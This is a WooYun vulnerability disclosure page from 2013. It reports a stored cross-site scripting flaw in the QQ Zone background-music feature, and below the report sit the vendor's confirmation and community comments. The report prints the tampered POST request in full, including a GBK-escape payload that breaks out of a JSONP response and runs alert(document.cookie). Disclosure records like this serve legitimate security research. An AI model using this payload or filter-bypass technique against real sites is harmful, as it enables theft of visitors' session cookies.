当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039965

漏洞标题：QQ空间存储XSS

相关厂商：腾讯

漏洞作者： neobyte

提交时间：2013-10-16 18:19

修复时间：2013-11-30 18:20

公开时间：2013-11-30 18:20

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-16： 细节已通知厂商并且等待厂商处理中
2013-10-16： 厂商已经确认，细节仅向厂商公开
2013-10-26： 细节向核心白帽子及相关领域专家公开
2013-11-05： 细节向普通白帽子公开
2013-11-15： 细节向实习白帽子公开
2013-11-30： 细节向公众公开

简要描述：

QQ空间存储XSS,访问用户空间首页自动触发

详细说明：

QQ空间,添加背景音乐,选择"添加网络背景音乐",任意输入Url,姓名,歌曲名等信息
拦截数据包,篡改url参数如下(两个xxx是当前用户qq号):

POST http://qzone-music.qq.com/fcg-bin/favnetsongtobgm.fcg?g_tk=1994248789 
......
formsender=1&source=102&url=http%3A%2F%2F112233%BF'}]}}});alert(document.cookie)//.mp3&songtitle=112233&singer=112233&desc=&inCharset=gb2312&uin=xxx&hostUin=xxx&notice=0&needNewCode=0&g_tk=1994248789&format=fs&platform=musicbox&outCharset=gb2312


然后其他用户访问该空间首页即触发XSS.
分析:
上述数据保存在服务器端后,通过一个JSONP加载,该JSONP的URL是
http://qzone-music.qq.com/fcg-bin/cgi_playlist_xml.fcg?json=1&uin=xxx&g_tk=5381
关于%BF, 请参考 WooYun: 腾讯一处存储型XSS - 有过滤？我绕绕绕！ ,不同的是这里是JSONP,所以无需<script>标签以及复杂的绕过方法,js即可!

漏洞证明：

qq.png

修复方案：

严格点,用白名单吧

版权声明：转载请注明来源 neobyte@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-10-16 18:55

厂商回复：

非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-16 18:22 | 浩森 ( 路人 | Rank:30 漏洞数:6 )

    详情。。

  2. 2013-10-16 18:22 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    manrk

  3. 2013-10-16 18:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    我信洞主

  4. 2013-10-16 18:43 | 静默 ( 路人 | Rank:8 漏洞数:6 | 安全小白)

    耐心看后续

  5. 2013-10-16 18:46 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    mark

  6. 2013-10-16 18:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    第一次见20的

  7. 2013-10-16 19:11 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵！)

    @xsser 第一次见20的

  8. 2013-10-16 20:01 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    mark

  9. 2013-10-16 20:42 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    第一次见20

  10. 2013-10-16 20:48 | 1ee ( 普通白帽子 | Rank:105 漏洞数:14 | 看书中....)

    果断mark

  11. 2013-10-16 21:58 | 艾特绅 ( 路人 | Rank:21 漏洞数:5 | 愿意为网络安全做出我的贡献)

    第一次见20

  12. 2013-10-16 22:39 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    进首页，自动触发

  13. 2013-10-16 23:50 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @xsser 不是记得以前一个拿shell的就20么 你老了 记忆差了

  14. 2013-10-17 00:04 | neal ( 普通白帽子 | Rank:219 漏洞数:23 )

    我擦，这么牛B的 你也发？

  15. 2013-10-17 01:45 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    20rank，果断mark

  16. 2013-10-17 08:37 | 戏子 ( 路人 | Rank:24 漏洞数:3 | 两个人的生活)

    20牛哦

  17. 2013-10-17 10:36 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    很少看到tx给20

  18. 2013-10-18 10:21 | p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ？)

    超越2哥？

  19. 2013-10-22 14:09 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    长江后浪推前浪了，二哥快现身吧

  20. 2013-11-05 20:59 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    碉堡了

  21. 2013-11-12 18:13 | 纷纭 ( 路人 | Rank:19 漏洞数:8 | 学习者。)

    等待看20 的

  22. 2013-11-16 08:27 | 丶潇洒哥 ( 路人 | Rank:5 漏洞数:2 | 我是一枚农民工。)

    20的，貌似很牛逼。

  23. 2013-11-18 20:49 | 花生^_^ ( 路人 | Rank:0 漏洞数:1 | 加强学习~~)

    很少见TX给20！关注